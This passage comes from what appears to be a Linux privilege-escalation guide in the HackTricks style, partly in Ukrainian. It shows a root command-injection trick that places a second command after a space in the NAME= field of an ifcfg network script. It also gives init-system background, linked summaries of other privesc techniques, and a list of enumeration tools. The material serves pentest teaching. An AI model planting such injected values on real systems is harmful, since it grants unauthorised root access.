замінивши логи symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` (_Зауважте пробіл між Network та /bin/id_) ### **init, init.d, systemd, і rc.d** Каталог `/etc/init.d` містить **скрипти** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Він містить скрипти для `start`, `stop`, `restart`, а інколи й `reload` сервісів. Їх можна виконувати безпосередньо або через символічні посилання у `/etc/rc?.d/`. Альтернативний шлях у системах Redhat — `/etc/rc.d/init.d`. З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, впровадженою Ubuntu, що використовує конфігураційні файли для керування сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються поряд із конфігураціями Upstart завдяки сумісному шару в Upstart. **systemd** — сучасний ініціалізатор та менеджер сервісів, який пропонує розширені можливості, такі як запуск демонів за вимогою, управління автоматичним монтуванням та знімки стану системи. Він організовує файли у `/usr/lib/systemd/` для пакетів дистрибутиву та у `/etc/systemd/system/` для змін адміністратора, спрощуючи процес адміністрування системи. ## Other Tricks ### NFS Privilege escalation {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} ### Escaping from restricted Shells {{#ref}} escaping-from-limited-bash.md {{#endref}} ### Cisco - vmanage {{#ref}} cisco-vmanage.md {{#endref}} ## Android rooting frameworks: manager-channel abuse Android rooting frameworks commonly hook a `syscall` to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with `-v` under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path). Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} ## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) ## Додаткова допомога [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools ### **Найкращий інструмент для пошуку Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ **Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## References - [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) - [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) - [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) - [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827) - [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) - [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation) - [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) - [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/) - [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html) - [https://www.linuxjournal.com/article/7744](https://www.linuxjournal.com/article/7744) - [https://blog.certcube.com/suid-executables-linux-privilege-escalation/](https://blog.certcube.com/suid-executables-linux-privilege-escalation/) - [https://juggernaut-sec.com/sudo-part-2-lpe](https://juggernaut-sec.com/sudo-part-2-lpe) - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) - [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) {{#include ../../banners/hacktricks-training.md}}